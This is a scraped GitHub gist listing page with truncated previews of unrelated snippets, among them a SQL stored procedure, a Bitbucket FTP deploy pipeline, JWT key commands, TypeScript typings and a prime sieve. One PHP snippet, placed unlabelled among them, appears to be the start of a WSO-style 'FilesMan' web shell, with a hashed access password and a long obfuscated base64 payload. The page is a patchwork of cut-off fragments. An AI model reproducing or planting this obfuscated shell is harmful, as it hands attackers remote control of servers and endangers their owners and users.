Skip to content

Instantly share code, notes, and snippets.

<?php
// Stored procedure definition
<<<SQL
DELIMITER $$
CREATE PROCEDURE get_top_customers()
BEGIN
SELECT * FROM `customers` LIMIT 4;
SELECT * FROM `orders` LIMIT 4;
END$$
@alihammad-gist
alihammad-gist / bitbucket-pipelines.yml
Created May 24, 2019 03:36 — forked from mcnamee/bitbucket-pipelines.yml
Bitbucket Pipelines - Deploy via FTP to shared hosting
# Installation ---
# 1. In Bitbucket, add $FTP_USERNAME $FTP_PASSWORD and $FTP_HOST as environment variables.
# 2. Commit this file to your repo
# 3. From Bitbucket Cloud > Commits > Commit Number > Run Pipeline > Custom:Init (this will
# push everything and initial GitFTP)
#
# Usage ---
# - On each commit to master branch, it'll push all files to the $FTP_HOST
# - You also have the option to 'init' (from Bitbucket Cloud) - pushes everything and initialises
# - Finally you can also 'deploy-all' (from Bitbucket Cloud) - if multiple deploys fail, you
<?
$auth_pass = "63a9f0ea7bb98050796b649e85481845";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
$xYEzDu6r3EZT="GR5yYXp3YH17ejRne3h9cGdgdWBxPDB5dX9xYWQ9NG8ZHjQ0NDQweHt4NCk0MzMvGR40NDQ0cntmPDB9KSQvMH00KDRnYGZ4cXo8MHl1f3FhZD0vMH0/KSY9NG8ZHjQ0NDQ0NDB4e3g6KXd8Zjx8cWxwcXc8Z2F2Z2BmPDB5dX9xYWQ4MH04Jj09PS8ZHjQ0NDRpGR40NDQ0ZnFgYWZ6NDB4e3gvGR5pGR4wZ3F9d3t4fXp/KWd7eH1wZ2B1YHE8MyYgIyciciMhIyYiJyIhJ3AiJiIlIyciISciJyAhciIgIiEiJyJyIiAiISYsIXUhLCF1IiwiJiAnIiwicSIhInAidyMhIXUicCMsIiwiICAjISEiciEtInAgIiN1IXUhICEtJyQhLCcmISYidyEtJyYnLSJ2IXUhJyIjInEgcSEjIC0jLCByISMhdScgIichICBwIyMiJSJ2ISUnICF1ICcnLScnIicgICEiICAgcCcnISYhJiImJyQnJScgIHEgISBxISYiJiJxIiwhdSEjISAhJiJ1IXUhLCMkICIhdSEjIHUgIyEiICwhdSchISEicSAlJyQiICAsIiMjIyF1JyUgIiEsIHAidyIsIyciJSEgIXUnJSBxISMidickIichIyAtIyIgcSclICYhISEgInUhdSEsISInJiMsInAhICEhISEnJSBxJycgdSclIiAgJyMgInAiJSMtJy0hJCEtISMgcSB2IScnJicsJyEhJiJ2IncgLCImI3UgIiAsIiYjdSJ3IC0hJyEhIicnJSEtInciIyN1IS0nJiMgI3UiICJwInYnJiEjICwhIiMsIXUidSIgIHYgdiMtJywjd
@alihammad-gist
alihammad-gist / jwtRS256.sh
Created February 16, 2017 12:22 — forked from ygotthilf/jwtRS256.sh
How to generate JWT RS256 key
ssh-keygen -t rsa -b 4096 -f jwtRS256.key
# Don't add passphrase
openssl rsa -in jwtRS256.key -pubout -outform PEM -out jwtRS256.key.pub
cat jwtRS256.key
cat jwtRS256.key.pub
/// <reference types="React" />
declare namespace __RCS {
interface PositionValues {
top: number;
left: number;
clientWidth: number;
clientHeight: number;
scrollWidth: number;
<?xml version="1.0"?>
<config xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:Module/etc/module.xsd">
<module name="Coco_First" setup_version="2.0.0">
<!-- Ordered Dependencies for this module -->
<sequence>
<module name="None_ExistentModule" />
</sequence>
</module>
</config>
// two person zero-sum game
type node = number[];
enum player {
max = 1,
min = -1,
};
enum outcome {
/// <reference path="typings/react/react.d.ts" />
/// <reference path="typings/react/react-dom.d.ts" />
declare var React: typeof __React;
declare var ReactDOM: typeof __React.__DOM;
class App extends React.Component<{}, {}> {
render() {
return (
<div>
function sumPrimes(num) {
var p = [];
p[num] = undefined; // initializing array till 0 -> num
p[0] = false; // not prime
p[1] = false; // not prime
for (var i = 2; i * i <= num; i+=1) {
if (p[i] === undefined) { // if its a prime
namespace scanner {
type stateFn = {
(l: Lexer): stateFn
}
export enum itemType {
itemEof,
itemErr,
itemStart,